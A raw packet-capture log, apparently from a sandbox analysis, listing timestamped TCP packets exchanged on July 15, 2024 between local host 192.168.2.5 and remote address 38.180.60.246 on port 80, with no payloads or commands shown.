Jul 15, 2024 00:48:24.107183933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107191086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107211113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107237101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107345104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107357979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107371092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107383013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107391119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107415915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107441902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107635975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107649088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107660055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107671022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107678890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107683897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107697010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107697964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107708931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107721090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107728004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107743025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107749939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107758045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107770920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107772112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107784986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107799053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107801914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107827902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107846022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.108237028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108251095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108263016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108274937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108282089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.108298063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108298063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.108310938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108325005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108325958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.108336926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108350039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108352900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.108361959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108375072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.108385086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.108395100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.108413935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.109328032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.109342098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.109354019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.109375954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.109389067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.109390974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.109401941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.109415054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.109417915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.109433889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.109457016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.174845934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.174889088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.174902916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.174923897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.174937963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.174942017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.174949884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.174962997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.174968958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.174977064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.175019026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.175048113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.175060987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.175088882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.175090075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.175102949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.175113916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.175118923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.175126076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.175141096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.175165892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.176326990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.176379919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.176384926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.176400900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.176422119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.176436901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.176501989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.176515102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.176527023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.176539898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.176543951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.176556110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.176584005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178616047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178662062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178669930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178674936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178700924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178720951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178747892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178761959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178774118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178790092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178790092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178797960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178819895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178831100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.178845882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.178883076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180315018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180394888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180397034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180407047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180421114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180433989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180449009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180463076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180500031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180512905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180531979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180540085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180546045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180556059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180574894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180584908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180612087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180624962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180651903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180663109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180689096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180705070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180727959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180743933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180814981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180828094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180839062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180850983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180855036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180864096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180872917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180877924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180893898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180923939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.180954933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180968046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.180994987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181019068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181030035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181042910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181071043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181081057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181114912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181127071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181138992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181155920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181178093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181180954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181219101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181251049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181263924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181274891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181293964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181320906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181333065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181372881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181885004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181898117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181907892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.181941986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181969881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.181998014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182010889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182022095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182034969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182041883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.182070017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.182249069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182261944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182274103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182286978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182296038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.182317019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.182339907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.182370901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182384014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182394981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.182410955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.182421923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.182445049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183128119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183190107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183192968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183204889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183237076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183248997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183278084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183290958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183303118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183315992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183320045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183330059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183346987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183368921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183737040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183751106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183762074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183773994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183785915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183796883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183799028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183810949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183816910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183825016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183839083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183845997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183854103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.183865070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.183895111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184017897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184063911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184139967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184151888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184165955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184179068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184181929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184191942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184195995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184205055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184215069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184217930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184230089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184241056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184258938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184283972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184375048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184387922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184416056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184433937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184516907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184530020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184542894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184556007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184556007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184562922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184566021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.184570074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184580088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.184621096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.198292017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.198328972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.198342085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.198378086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.198399067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.198405981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.198441029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.198450089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.198462963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.198477030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.198488951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.198510885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.198523998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.265626907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265661955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265676022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265680075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.265714884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.265714884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.265719891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265731096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265746117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265759945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.265759945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265767097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.265773058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.265795946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.265825987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.266649008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.266663074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.266674995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.266688108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.266699076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.266700029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.266712904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.266719103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.266746998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.266757011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.267775059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.267790079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.267802954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.267817020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.267836094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.267872095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.267887115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.267899990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.267911911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.267913103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.267937899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.267961025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.269669056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.269681931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.269695044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.269712925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.269727945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.269751072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.269762993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.269773960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.269783020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.269785881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.269808054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.269844055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.274764061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.274777889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.274791956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.274816036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.274822950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.274842978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.274876118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.274967909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.274980068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.274991989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275002956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275006056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275022984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275047064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275224924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275244951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275257111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275269032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275279045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275279045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275281906 CEST	80	49704	38.180.60.246	192.168.2.5
